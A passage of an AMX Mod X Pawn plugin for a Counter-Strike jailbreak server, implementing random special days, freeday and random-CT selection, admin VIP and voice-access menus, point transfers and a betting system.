  2817. hns_fd = true
  2818. ActionHns()
  2819. }
  2820. case 3:
  2821. {
  2822. ColorChat(0, "start^4 Shark day !^1 (By Random Day)")
  2823. ActionShark()
  2824. }
  2825. case 4:
  2826. {
  2827. ColorChat(0, "start^4 Free day !^1 (By Random Day)")
  2828. hns_fd = true
  2829. ActionFree()
  2830. }
  2831. case 5:
  2832. {
  2833. ColorChat(0, "start^4 NightCrawler Day !^1 (By Random Day)")
  2834. ActionNightCrawler()
  2835. }
  2836. case 6:
  2837. {
  2838. ColorChat(0, "start^4 Spartan Day !^1 (By Random Day)")
  2839. Actionspartanday()
  2840. }
  2841. case 7:
  2842. {
  2843. ColorChat(0, "start^4 War Day !^1 (By Random Day)")
  2844. ActionWarday()
  2845. }
  2846. case 8:
  2847. {
  2848. ColorChat(0, "start^4 Birth Day !^1 (By Random Day)")
  2849. ActionBirthDay()
  2850. set_task(5.0, "GetRandomPlayer")
  2851. }
  2852. case 9:
  2853. {
  2854. ColorChat(0, "start^4 Knife Day !^1 (By Random Day)")
  2855. ActionKnifeDay()
  2856. knifeday = true
  2857. }
  2858. case 10:
  2859. {
  2860. ColorChat(0, "start^4 Grenade Day !^1 (By Random Day)")
  2861. ActionGrenadeDay()
  2862. grenadeday = true
  2863. }
  2864. case 11:
  2865. {
  2866. ColorChat(0, "start^4 Deagle Day !^1 (By Random Day)")
  2867. ActionNorDealgeDay()
  2868. nordeagleday = true
  2869. }
  2870. }
  2871. }
  2872.  
  2873. public fdexec(id)
  2874. {
  2875. if(cs_get_user_team(id) == CS_TEAM_CT || is_user_admin(id) || get_vip[id]) {
  2876. if(is_user_alive(id)) {
  2877. new rname[32]
  2878. get_user_name(id, rname, 33)
  2879. ColorChat(0, "^4%s ^1started Random Players freeday", rname)
  2880. set_task(5.0, "GetRandomPlayer")
  2881. }
  2882. }
  2883. }
  2884.  
  2885. public GetRandomPlayer()
  2886. {
  2887. new vPlayers[32], vPlayerNum, vName[32]
  2888. get_players(vPlayers, vPlayerNum, "ac")
  2889.  
  2890. if(vPlayerNum)
  2891. {
  2892. new g_iVIPid = 0
  2893. g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
  2894. get_user_name(g_iVIPid, vName, charsmax(vName))
  2895. if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT || !is_user_alive(g_iVIPid))
  2896. set_task(1.0, "GetRandomPlayer")
  2897. else {
  2898. ColorChat(0, "^4%s ^1is selected for a freeday", vName)
  2899. fm_set_user_rendering(g_iVIPid, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 255)
  2900. client_cmd(0, "spk ^"%s^"", appmusic)
  2901.  
  2902. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  2903. show_hudmessage(0, "^%s ^1is selected", vName)
  2904. }
  2905. }
  2906. }
  2907.  
  2908. public RandomCT(id)
  2909. {
  2910. if(!is_user_admin(id))
  2911. return
  2912. new vPlayers[32], vPlayerNum, vName[32]
  2913. get_players(vPlayers, vPlayerNum)
  2914.  
  2915. if(vPlayerNum) {
  2916. new g_iVIPid = 0
  2917. g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
  2918. get_user_name(g_iVIPid, vName, charsmax(vName))
  2919. if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT)
  2920. set_task(1.0, "RandomCT")
  2921. else {
  2922. ColorChat(0, "^4%s ^1is selected for a Random CT", vName)
  2923. cs_set_user_team(g_iVIPid, CS_TEAM_CT)
  2924. ExecuteHamB(Ham_CS_RoundRespawn, g_iVIPid)
  2925. client_cmd(0, "spk ^"%s^"", appmusic)
  2926.  
  2927. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  2928. show_hudmessage(0, "^%s is selected for a Random CT", vName)
  2929. }
  2930. }
  2931. }
  2932.  
  2933. public ShowTimer()
  2934. {
  2935. rar--
  2936. if(rar <= 0) {
  2937. if(hns_fd) {
  2938. client_cmd(0, "spk ^"%s^"", bellmusic)
  2939. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  2940. show_hudmessage(0, "The Time is Over!^nCT- go to find the terrorist and kill them")
  2941. } else if(zombieday)
  2942. ShowTimerZM()
  2943. client_cmd(0, "spk ^"%s^"", bellmusic)
  2944. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  2945. show_hudmessage(0, "The Time is Over!")
  2946. remove_task
  2947. } else {
  2948. set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
  2949. show_hudmessage(0, "%d", rar)
  2950. set_task(1.0, "ShowTimer")
  2951. } if(rar >= 10) {
  2952. new SecVoice[21]
  2953. num_to_word(timer, SecVoice, 20)
  2954. client_cmd(0, "spk ^"BeatTheB-Jail/%s^"", SecVoice)
  2955. }
  2956. }
  2957.  
  2958. ShowTimerZM()
  2959. {
  2960. client_cmd(0, "spk ^"%s^"", bellmusic)
  2961. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  2962. show_hudmessage(0, "The Time is Over!^nCT- Godmode 0^nCT- go to find the terrorist and kill them")
  2963. remove_task
  2964. for(new i = 0; i < g_max_clients; i++)
  2965. if(IsPlayer(i) && is_user_alive(i))
  2966. {
  2967. switch(cs_get_user_team(i))
  2968. {
  2969. case CS_TEAM_T:
  2970. {
  2971. fm_give_item(i,"weapon_knife")
  2972. fm_set_user_health(i, 100)
  2973.  
  2974. fm_give_item(i,"weapon_elite") && fm_give_item(i,"weapon_fiveseven") && fm_give_item(i,"weapon_m3") && fm_give_item(i,"weapon_xm1014")
  2975. fm_give_item(i,"weapon_tmp") && fm_give_item(i,"weapon_mac10") && fm_give_item(i,"weapon_mp5navy") && fm_give_item(i,"weapon_p228")
  2976. fm_give_item(i,"weapon_aug") && fm_give_item(i,"weapon_scout") && fm_give_item(i,"weapon_sg550") && fm_give_item(i,"weapon_awp")
  2977. fm_give_item(i,"weapon_g3sg1") && fm_give_item(i,"weapon_p90") && fm_give_item(i,"weapon_ump45") && fm_give_item(i,"weapon_famas")
  2978. fm_give_item(i,"weapon_galil") && fm_give_item(i,"weapon_ak47") && fm_give_item(i,"weapon_m4a1") && fm_give_item(i,"weapon_deagle")
  2979. fm_give_item(i,"weapon_sg552") && fm_give_item(i,"weapon_usp") && fm_give_item(i,"weapon_glock18") && fm_give_item(i,"weapon_m249")
  2980.  
  2981. cs_set_user_bpammo(i, CSW_AK47, 250) && cs_set_user_bpammo(i, CSW_M3, 250) && cs_set_user_bpammo(i, CSW_M4A1, 250)
  2982. cs_set_user_bpammo(i, CSW_ELITE, 250) && cs_set_user_bpammo(i, CSW_ELITE, 250) && cs_set_user_bpammo(i, CSW_XM1014, 250)
  2983. cs_set_user_bpammo(i, CSW_TMP, 250) && cs_set_user_bpammo(i, CSW_MAC10, 250) && cs_set_user_bpammo(i, CSW_MP5NAVY, 250)
  2984. cs_set_user_bpammo(i, CSW_P228, 250) && cs_set_user_bpammo(i, CSW_AUG, 250) && cs_set_user_bpammo(i, CSW_SCOUT, 250)
  2985. cs_set_user_bpammo(i, CSW_SG550, 250) && cs_set_user_bpammo(i, CSW_AWP, 250) && cs_set_user_bpammo(i, CSW_G3SG1, 250)
  2986. cs_set_user_bpammo(i, CSW_P90, 250) && cs_set_user_bpammo(i, CSW_UMP45, 250) && cs_set_user_bpammo(i, CSW_FAMAS, 250)
  2987. cs_set_user_bpammo(i, CSW_GALIL, 250) && cs_set_user_bpammo(i, CSW_AK47, 250) && cs_set_user_bpammo(i, CSW_SG552, 250)
  2988. cs_set_user_bpammo(i, CSW_USP, 250) && cs_set_user_bpammo(i, CSW_DEAGLE, 250) && cs_set_user_bpammo(i, CSW_GLOCK18, 250) && cs_set_user_bpammo(i, CSW_M249, 250)
  2989. }
  2990. case CS_TEAM_CT:
  2991. {
  2992. fm_give_item(i,"weapon_knife")
  2993. fm_set_user_godmode(i, 0)
  2994. }
  2995. }
  2996. }
  2997. }
  2998.  
  2999. public OnSecondaryAttack()
  3000. return HAM_SUPERCEDE
  3001.  
  3002. public cmdBox( id ) {
  3003. if(!is_user_connected(id) || !is_user_alive(id) || cs_get_user_team(id) != CS_TEAM_CT)
  3004. ColorChat(id, "^4You ar Not CT Team & You ar Death")
  3005. else {
  3006. new ffname[32]
  3007. get_user_name(id, ffname, 31)
  3008. switch(iHandler) {
  3009. case 0: {
  3010. for(new i = 0; i < g_max_clients; i++)
  3011. if(IsPlayer(i) && is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
  3012. fm_set_user_health(i, 100)
  3013. server_cmd("mp_friendlyfire 1")
  3014. set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 6.0, 12.0)
  3015. show_hudmessage(0, "Box Activated!^n By %s", ffname)
  3016. ColorChat(0, "^3Box^4 Activated!^1 By %s", ffname)
  3017. }
  3018. case 1: {
  3019. server_cmd("mp_friendlyfire 0")
  3020. set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 12.0)
  3021. show_hudmessage(0, "Box Deactivated!^n By %s", ffname)
  3022. ColorChat(0, "^3Box^3 Deactivated!^1 By %s", ffname)
  3023. }
  3024. }
  3025. iHandler = !iHandler
  3026. }
  3027. }
  3028.  
  3029. public EventCurWeapon2(id) {
  3030. if(knifeday)
  3031. engclient_cmd(id, "weapon_knife")
  3032. else if(grenadeday)
  3033. engclient_cmd(id, "weapon_hegrenade")
  3034. else if(nordeagleday)
  3035. engclient_cmd(id, "weapon_deagle")
  3036. }
  3037.  
  3038. public GetPlayerDisco()
  3039. {
  3040. new players[32], num
  3041. get_players(players,num,"ah")
  3042. for(new i=0;i<num;i++)
  3043. {
  3044. new num1 = random_num(0,255)
  3045. new num2 = random_num(0,255)
  3046. new num3 = random_num(0,255)
  3047. new alpha = random_num(40,65)
  3048. message_begin(MSG_ONE,get_user_msgid("ScreenFade"),{0,0,0},players[i])
  3049. write_short(~0)
  3050. write_short(~0)
  3051. write_short(1<<12)
  3052. write_byte(num1)
  3053. write_byte(num2)
  3054. write_byte(num3)
  3055. write_byte(alpha)
  3056. message_end()
  3057. }
  3058. }
  3059.  
  3060. public ShowSpecialHook()
  3061. {
  3062. new players[32], pnum, tempid
  3063. get_players(players, pnum)
  3064. for(new i; i<pnum; i++)
  3065. {
  3066. tempid = players[i]
  3067.  
  3068. message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, tempid)
  3069. write_short(4096*1) // Duration
  3070. write_short(4096*1) // Hold time
  3071. write_short(4096) // Fade type
  3072. write_byte(0) // Red
  3073. write_byte(0) // Green
  3074. write_byte(0) // Blue
  3075. write_byte(255) // Alpha
  3076. message_end()
  3077. }
  3078. }
  3079.  
  3080. public GiveVIP(id)
  3081. {
  3082. if(get_user_flags(id) & ADMIN_RCON) {
  3083. new givevipmenu = menu_create("\r[\w BeatTheB Jail \r]\y Give VIP Menu", "ActionGiveVIP")
  3084.  
  3085. new players[32], pnum, tempid
  3086. new szName[32], szTempid[10]
  3087.  
  3088. get_players(players, pnum)
  3089. for(new i; i<pnum; i++)
  3090. {
  3091. tempid = players[i]
  3092.  
  3093. get_user_name(tempid, szName, 31)
  3094. num_to_str(tempid, szTempid, 9)
  3095. menu_additem(givevipmenu, szName, szTempid)
  3096. }
  3097.  
  3098. menu_display(id, givevipmenu)
  3099. } else
  3100. ColorChat(id, "^4You have no access to this")
  3101. }
  3102.  
  3103. public ActionGiveVIP(id, givevipmenu, item)
  3104. {
  3105. new data[6], iName[64]
  3106. new _access, callback
  3107. menu_item_getinfo(givevipmenu, item, _access, data,5, iName, 63, callback)
  3108.  
  3109. new tempid = str_to_num(data)
  3110. new szName[32], szName2[32]
  3111. get_user_name(id, szName, 31)
  3112. get_user_name(tempid, szName2, 31)
  3113. if(get_vip[tempid] || is_user_admin(tempid))
  3114. ColorChat(0, "^4%s ar Alsready VIP", szName2)
  3115. else {
  3116. ColorChat(0, "^4%s ^3Give VIP to ^4%s", szName, szName2)
  3117. get_vip[tempid] = true
  3118. }
  3119. menu_destroy(givevipmenu)
  3120. }
  3121.  
  3122. /* ---------------------------------------------------
  3123. * --------------- SEND POINTS SYSTEM ----------------*/
  3124.  
  3125. public MainMenuSend(id)
  3126. {
  3127. if(send_delay[id] != 0)
  3128. console_print(id, "Ex SEND: Please wait ^4%d^1 Seconds to SEND", send_delay[id])
  3129. else {
  3130. new target[32], amount[21]
  3131.  
  3132. read_argv(1, target, 31)
  3133. read_argv(2, amount, 20)
  3134.  
  3135. new player = cmd_target(id, target, 8)
  3136. new admin_name[32], player_name[32]
  3137. get_user_name(id, admin_name, 31)
  3138. get_user_name(player, player_name, 31)
  3139.  
  3140. new pointnum = str_to_num(amount)
  3141.  
  3142. if(equal(target, "") || equal(amount, ""))
  3143. console_print(id, "Ex SEND: Use ^"send NAME POINTS^" to send. Example: ^"send yosi 15^"")
  3144. else if(id == player)
  3145. console_print(id, "Ex SEND: You can not send yourself a point")
  3146. else if(!player)
  3147. console_print(id, "Ex SEND: Player Not Found !")
  3148. else if(!is_str_num(amount))
  3149. console_print(id, "Ex SEND: you most to write only numbers")
  3150. else if(playerpoints[id] < pointnum)
  3151. console_print(id, "Ex SEND: you dont have enough points")
  3152. else if(pointnum > 0) {
  3153. playerpoints[player] += pointnum
  3154. playerpoints[id] -= pointnum
  3155. ColorChat(0, "^3%s ^4Give ^3%i^4 Points to ^3%s", admin_name, pointnum, player_name)
  3156. } else
  3157. console_print(id, "Ex SEND: you dont have enough points")
  3158. send_delay[id] = 5
  3159. set_task(1.0,"_ShowDelay", id, "", 0, "a", 5)
  3160. }
  3161. return PLUGIN_HANDLED
  3162. }
  3163.  
  3164. public MenuCallback()
  3165. return ITEM_DISABLED
  3166.  
  3167. /* ---------------------------------------------------
  3168. * ------------- GIVE ACCESS TO SPEACH --------------*/
  3169. public AccessSpeachMenu(id)
  3170. {
  3171. if(get_user_flags(id) & ADMIN_CVAR) {
  3172. new speachmenu = menu_create("\r[\w BeatTheB Jail \r]\y access to Speach Menu", "ActionAccessSpeachMenu")
  3173. new callback = menu_makecallback("MenuCallbackSpeach")
  3174.  
  3175. menu_additem(speachmenu, "\yGive Access", "1")
  3176. menu_additem(speachmenu, "\yRemove Access^n", "2")
  3177. menu_additem(speachmenu, "\rGive Access to CT Team", "3",_, callback)
  3178. menu_additem(speachmenu, "\rRemove Access to CT Team", "4")
  3179.  
  3180. menu_display(id, speachmenu)
  3181. } else
  3182. ColorChat(id, "^4You have no access to that command")
  3183. }
  3184.  
  3185. public MenuCallbackSpeach()
  3186. return mutect ? ITEM_ENABLED : ITEM_DISABLED
  3187. public ActionAccessSpeachMenu(id, speachmenu, item)
  3188. {
  3189. if(item == MENU_EXIT) {
  3190. menu_destroy(speachmenu)
  3191. return
  3192. }
  3193. new Data[7], Name[64], Access, Callback
  3194. menu_item_getinfo(speachmenu, item, Access, Data,5, Name, 63, Callback)
  3195.  
  3196. new Key = str_to_num(Data)
  3197. switch(Key)
  3198. {
  3199. case 1:
  3200. {
  3201. new speach_give = menu_create("\r[\w BeatTheB Jail \r]\y Give access to Speach Menu", "ActionGiveSpeach")
  3202.  
  3203. new players[32], pnum, tempid, szName[32], szTempid[10]
  3204. get_players(players, pnum)
  3205.  
  3206. for(new i; i<pnum; i++)
  3207. {
  3208. tempid = players[i]
  3209.  
  3210. if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || get_bit(g_PlayerVoice, tempid))
  3211. continue
  3212.  
  3213. get_user_name(tempid, szName, 31)
  3214. num_to_str(tempid, szTempid, 9)
  3215. menu_additem(speach_give, szName, szTempid)
  3216. }
  3217. menu_display(id, speach_give)
  3218. }
  3219. case 2:
  3220. {
  3221. new speach_remove = menu_create("\r[\w BeatTheB Jail \r]\y Remove access to Speach Menu", "ActionRemoveSpeach")
  3222.  
  3223. new players[32], pnum, tempid, szName[32], szTempid[10]
  3224. get_players(players, pnum)
  3225. for(new i; i<pnum; i++)
  3226. {
  3227. tempid = players[i]
  3228.  
  3229. if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || !(get_bit(g_PlayerVoice, tempid)))
  3230. continue
  3231.  
  3232. get_user_name(tempid, szName, 31)
  3233. num_to_str(tempid, szTempid, 9)
  3234. menu_additem(speach_remove, szName, szTempid)
  3235. }
  3236. menu_display(id, speach_remove)
  3237. }
  3238. case 3:
  3239. {
  3240. new name[33]
  3241. get_user_name(id, name, 32)
  3242. mutect = false
  3243. ColorChat(0, "^3%s ^4Give Speach Access to all^3 CT Team", name)
  3244. }
  3245. case 4:
  3246. {
  3247. new name[33]
  3248. get_user_name(id, name, 32)
  3249. mutect = true
  3250. ColorChat(0, "^3%s ^4Remove Speach Access to all^3 CT Team", name)
  3251. }
  3252. }
  3253. menu_destroy(speachmenu)
  3254. }
  3255.  
  3256. public ActionGiveSpeach(id, speach_give, item)
  3257. {
  3258. if(item == MENU_EXIT) {
  3259. AccessSpeachMenu(id)
  3260. return
  3261. }
  3262. new data[6], iName[64]
  3263. new _access, callback
  3264. menu_item_getinfo(speach_give, item, _access, data,5, iName, 63, callback)
  3265.  
  3266. new tempid = str_to_num(data)
  3267. new szName[32], szName2[32]
  3268. get_user_name(id, szName, 31)
  3269. get_user_name(tempid, szName2, 31)
  3270. set_bit(g_PlayerVoice, tempid)
  3271. ColorChat(0, "^3%s ^4Give Speach Access to ^3%s", szName, szName2)
  3272. menu_destroy(speach_give)
  3273. }
  3274.  
  3275. public ActionRemoveSpeach(id, speach_remove, item)
  3276. {
  3277. if(item == MENU_EXIT) {
  3278. AccessSpeachMenu(id)
  3279. return
  3280. }
  3281. new data[6], iName[64]
  3282. new _access, callback
  3283. menu_item_getinfo(speach_remove, item, _access, data,5, iName, 63, callback)
  3284.  
  3285. new tempid = str_to_num(data)
  3286. new szName[32], szName2[32]
  3287. get_user_name(id, szName, 31)
  3288. get_user_name(tempid, szName2, 31)
  3289. clear_bit(g_PlayerVoice, tempid)
  3290. ColorChat(0, "^3%s ^4Remove Speach Access to ^3%s", szName, szName2)
  3291. menu_destroy(speach_remove)
  3292. }
  3293.  
  3294. public DropCMD(id)
  3295. {
  3296. if(is_user_alive(id)) {
  3297. new weapon,clip,ammo,Float:velo[3]
  3298. weapon = get_user_weapon(id,clip,ammo)
  3299. if(weapon == CSW_KNIFE) {
  3300. if(playerpoints[id] < 2)
  3301. return PLUGIN_CONTINUE
  3302. playerpoints[id] -= 2
  3303. can_pickup[id] = false
  3304. set_task(0.3,"reset_pick",id)
  3305. new start_velo = 10 * 15
  3306. new end_velo = 10 * 50
  3307. velocity_by_aim(id,random_num(start_velo,end_velo),velo)
  3308. make_money(id,velo)
  3309. }
  3310. }
  3311. return nordeagleday ? PLUGIN_HANDLED : PLUGIN_CONTINUE
  3312. }
  3313.  
  3314. /* ---------------------------------------------------
  3315. * ------------------- BETS SYSTEM -------------------*/
  3316. public MainMenuBet(id)
  3317. {
  3318. if(!get_cvar_num("bet_enable"))
  3319. ColorChat(id, "^3bet^4 is not enabled")
  3320. else
  3321. {
  3322. new Item[64]
  3323. new bet_menu = menu_create("\r[\w BeatTheB Jail \r]\y Bet System\d", "sub_MainMenuBet")
  3324.  
  3325. new callback = menu_makecallback("MenuCallbackBet")
  3326.  
  3327. menu_additem(bet_menu, "\yBet about \wCounter-Terrorist", "1")
  3328. menu_additem(bet_menu, "\yBet about \wTerrorist", "2")
  3329. menu_additem(bet_menu, "Betting Information", "3")
  3330. formatex(Item, charsmax(Item), "Take all the Points in the CashBox\w(%i)", serverpoints)
  3331. menu_additem(bet_menu, Item, "4", _, callback)
  3332. menu_additem(bet_menu, "\rRESET Betting and CashBox", "5", _, callback)
  3333.  
  3334. menu_display(id, bet_menu)
  3335. }
  3336. }
  3337.  
  3338. public sub_MainMenuBet(id, bet_menu, item)
  3339. {
  3340. if(item == MENU_EXIT) {
  3341. menu_destroy(bet_menu)
  3342. return
  3343. }
  3344. new Data[7], Name[64], iName[32], Item[64], Access, Callback
  3345. menu_item_getinfo(bet_menu, item, Access, Data,5, Name, 63, Callback)
  3346.  
  3347. new Key = str_to_num(Data)
  3348. get_user_name(id, iName, 31)
  3349.  
  3350. switch(Key)
  3351. {
  3352. case 1,2:
  3353. {
  3354. if(!bet_pointed_out[id])
  3355. {
  3356. new bet_menuct
  3357. formatex(Item, 63, "\r[\w BeatTheB Jail \r]\y Bet about \w%s", Key == 1 ? "Counter-Terrorist" : "Terrorist")
  3358.  
  3359. if(Key == 1) bet_menuct = menu_create(Item, "sub_MainMenuBetCT")
  3360. else bet_menuct = menu_create(Item, "sub_MainMenuBetT")
  3361.  
  3362. menu_additem(bet_menuct, "\yBet about \w10\y points", "1")
  3363. menu_additem(bet_menuct, "\yBet about \w20\y points", "2")
  3364. menu_additem(bet_menuct, "\yBet about \w30\y points", "3")
  3365. menu_additem(bet_menuct, "\yBet about \w40\y points", "4")
  3366. menu_additem(bet_menuct, "\yBet about \w50\y points", "5")
  3367.  
  3368. menu_display(id, bet_menuct)
  3369. }
  3370. else
  3371. ColorChat(id, "You have bet it this round")
  3372. }
  3373. case 3:
  3374. {
  3375. new bet_info = menu_create("\r[\w BeatTheB Jail \r]\y Betting Information", "sub_InfoBet")
  3376.  
  3377. new players[32], pnum
  3378. new szName[32], szTempid[10]
  3379.  
  3380. get_players(players, pnum)
  3381.  
  3382. for(new i; i<pnum; i++)
  3383. {
  3384. if(!is_user_connected(players[i]) || !bet_pointed_out[players[i]] || bet_some[players[i]] == 0)
  3385. continue
  3386. get_user_name(players[i], szName, 31)
  3387. num_to_str(players[i], szTempid, 9)
  3388. formatex(Item, charsmax(Item), "\y%s\w Betting %d to %s", szName, bet_some[players[i]], bet_team[players[i]] == 1 ? "Counter-Terrorist" : "Terrorist")
  3389. menu_additem(bet_info, Item, szTempid)
  3390. }
  3391. menu_display(id, bet_info)
  3392. }
  3393. case 4:
  3394. {
  3395. if(serverpoints > 1) {
  3396. playerpoints[id] += serverpoints
  3397. ColorChat(0, "^3%s^4 Taken all The Points that were CashBox^1(%i)", iName, serverpoints)
  3398. serverpoints = 0
  3399. } else {
  3400. ColorChat(id, "^4CashBox have no points")
  3401. MainMenuBet(id)
  3402. }
  3403. }
  3404. case 5:
  3405. {
  3406. new players[32], pnum
  3407. get_players(players, pnum)
  3408.  
  3409. for(new i; i<pnum; i++) {
  3410. bet_pointed_out[players[i]] = false
  3411. bet_some[players[i]] = 0
  3412. }
  3413. serverpoints = 0
  3414. ColorChat(0, "^4%s^4 RESET all Bettings and CashBox!", iName)
  3415. }
  3416. }
  3417. }
  3418.  
  3419. public sub_MainMenuBetCT(id, bet_menuct, item)
  3420. {
  3421. if(item == MENU_EXIT) {
  3422. MainMenuBet(id)
  3423. return
  3424. }
  3425. new Data[7], Name[64], iName[32], Access, Callback
  3426. menu_item_getinfo(bet_menuct, item, Access, Data,5, Name, 63, Callback)
  3427.  
  3428. new Key = str_to_num(Data)
  3429. get_user_name(id, iName, 31)
  3430. bet_team[id] = 1 // CT
  3431.  
  3432. switch(Key)
  3433. {
  3434. case 1:
  3435. {
  3436. if(playerpoints[id] < 10) {
  3437. ColorChat(id, "^4you dont have enough points")
  3438. MainMenuBet(id)
  3439. } else {
  3440. bet_some[id] = 10
  3441. playerpoints[id] -= 10
  3442. serverpoints += 10
  3443. bet_pointed_out[id] = true
  3444. ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
  3445. }
  3446. }
  3447. case 2:
  3448. {
  3449. if(playerpoints[id] < 20) {
  3450. ColorChat(id, "^4you dont have enough points")
  3451. MainMenuBet(id)
  3452. } else {
  3453. bet_some[id] = 20
  3454. playerpoints[id] -= 20
  3455. serverpoints += 20
  3456. bet_pointed_out[id] = true
  3457. ColorChat(0, "^4%s^1(%i) ^4betting about^3 20 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
  3458. }
  3459. }
  3460. case 3:
  3461. {
  3462. if(playerpoints[id] < 30) {
  3463. ColorChat(id, "^4you dont have enough points")
  3464. MainMenuBet(id)
  3465. } else {
  3466. bet_some[id] = 30
  3467. playerpoints[id] -= 30
  3468. serverpoints += 30
  3469. bet_pointed_out[id] = true
  3470. ColorChat(0, "^4%s^1(%i) ^4betting about^3 30 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
  3471. }
  3472. }
  3473. case 4:
  3474. {
  3475. if(playerpoints[id] < 40) {
  3476. ColorChat(id, "^4you dont have enough points")
  3477. MainMenuBet(id)
  3478. } else {
  3479. bet_some[id] = 40
  3480. playerpoints[id] -= 40
  3481. serverpoints += 40
  3482. bet_pointed_out[id] = true
  3483. ColorChat(0, "^4%s^1(%i) ^4betting about^3 40 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
  3484. }
  3485. }
  3486. case 5:
  3487. {
  3488. if(playerpoints[id] < 50) {
  3489. ColorChat(id, "^4you dont have enough points")
  3490. MainMenuBet(id)
  3491. } else {
  3492. bet_some[id] = 50
  3493. playerpoints[id] -= 50
  3494. serverpoints += 50
  3495. bet_pointed_out[id] = true
  3496. ColorChat(0, "^4%s^1(%i) ^4betting about^3 50 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
  3497. }
  3498. }
  3499. }
  3500. }
  3501.  
  3502. public sub_MainMenuBetT(id, bet_menuct, item)
  3503. {
  3504. if(item == MENU_EXIT)
  3505. {
  3506. MainMenuBet(id)
  3507. return
  3508. }
  3509. new Data[7], Name[64], iName[32], Access, Callback
  3510. menu_item_getinfo(bet_menuct, item, Access, Data,5, Name, 63, Callback)
  3511.  
  3512. new Key = str_to_num(Data)
  3513. get_user_name(id, iName, 31)
  3514. bet_team[id] = 2 // T
  3515.  
  3516. switch(Key)
  3517. {
  3518. case 1:
  3519. {
  3520. if(playerpoints[id] < 10) {
  3521. ColorChat(id, "^4you dont have enough points")
  3522. MainMenuBet(id)
  3523. } else {
  3524. bet_some[id] = 10
  3525. playerpoints[id] -= 10
  3526. serverpoints += 10
  3527. bet_pointed_out[id] = true
  3528. ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Terrorist", iName, playerpoints[id])
  3529. }
  3530. }
  3531. case 2:
  3532. {
  3533. if(playerpoints[id] < 20) {
  3534. ColorChat(id, "^4you dont have enough points")
  3535. MainMenuBet(id)
  3536. } else {
  3537. bet_some[id] = 20
  3538. playerpoints[id] -= 20
  3539. serverpoints += 20
  3540. bet_pointed_out[id] = true
  3541. ColorChat(0, "^4%s^1(%i) ^4betting about^3 20 ^4points to ^3Terrorist", iName, playerpoints[id])
  3542. }
  3543. }
  3544. case 3:
  3545. {
  3546. if(playerpoints[id] < 30) {
  3547. ColorChat(id, "^4you dont have enough points")
  3548. MainMenuBet(id)
  3549. } else {
  3550. bet_some[id] = 30
  3551. playerpoints[id] -= 30
  3552. serverpoints += 30
  3553. bet_pointed_out[id] = true
  3554. ColorChat(0, "^4%s^1(%i) ^4betting about^3 30 ^4points to ^3Terrorist", iName, playerpoints[id])
  3555. }
  3556. }
  3557. case 4:
  3558. {
  3559. if(playerpoints[id] < 40) {
  3560. ColorChat(id, "^4you dont have enough points")
  3561. MainMenuBet(id)
  3562. } else {
  3563. bet_some[id] = 40
  3564. playerpoints[id] -= 40
  3565. serverpoints += 40
  3566. bet_pointed_out[id] = true
  3567. ColorChat(0, "^4%s^1(%i) ^4betting about^3 40 ^4points to ^3Terrorist", iName, playerpoints[id])
  3568. }
  3569. }
  3570. case 5:
  3571. {
  3572. if(playerpoints[id] < 50) {
  3573. ColorChat(id, "^4you dont have enough points")
  3574. MainMenuBet(id)
  3575. } else {
  3576. bet_some[id] = 50
  3577. playerpoints[id] -= 50
  3578. serverpoints += 50
  3579. bet_pointed_out[id] = true
  3580. ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Terrorist", iName, playerpoints[id])
  3581. }
  3582. }
  3583. }
  3584. }
  3585.  
  3586. public sub_InfoBet(id, bet_info, item)
  3587. {
  3588. if(item == MENU_EXIT)
  3589. {
  3590. MainMenuBet(id)
  3591. return
  3592. }
  3593. new data[6], iName[64]
  3594. new _access, callback
  3595. menu_item_getinfo(bet_info, item, _access, data,5, iName, 63, callback)
  3596.  
  3597. new tempid = str_to_num(data)
  3598. new szName[32]
  3599. get_user_name(tempid, szName, 31)
  3600. MainMenuBet(id)
  3601. ColorChat(id, "%s^1(%i) ^4Betting ^3%d^4 Points to ^3%s", szName, playerpoints[tempid], bet_some[tempid], bet_team[tempid] == 1 ? "Counter-Terrorist" : "Terrorist")
  3602. menu_destroy(bet_info)
  3603. }
  3604.  
  3605. public MenuCallbackBet(id)
  3606. return (get_user_flags(id) & ADMIN_CVAR) ? ITEM_ENABLED : ITEM_DISABLED
  3607.  
  3608. public Action50(id)
  3609. {
  3610. if(!get_cvar_num("bet_enable"))
  3611. ColorChat(id, "bet^4 is not enabled")
  3612. else if(get_user_flags(id) & ADMIN_CVAR)
  3613. {
  3614. new name[32]
  3615. get_user_name(id, name, 31)
  3616.  
  3617. if(task_exists(4444))
  3618. remove_task(4444)
  3619.  
  3620. set_task(5.0, "sub_Action50")
  3621. timer = 5
  3622. ShowFiveSeconds(id)
  3623. set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
  3624. client_cmd(0, "spk ^"vox/five^"")
  3625. Show_Choose = 1
  3626. set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
  3627. show_hudmessage(0, "The 50:50 will started in 5 seccond^nBy %s", name)
  3628. } else
  3629. ColorChat(id, "^4You have no access to this")
  3630. }
  3631.  
  3632. public sub_Action50()
  3633. {
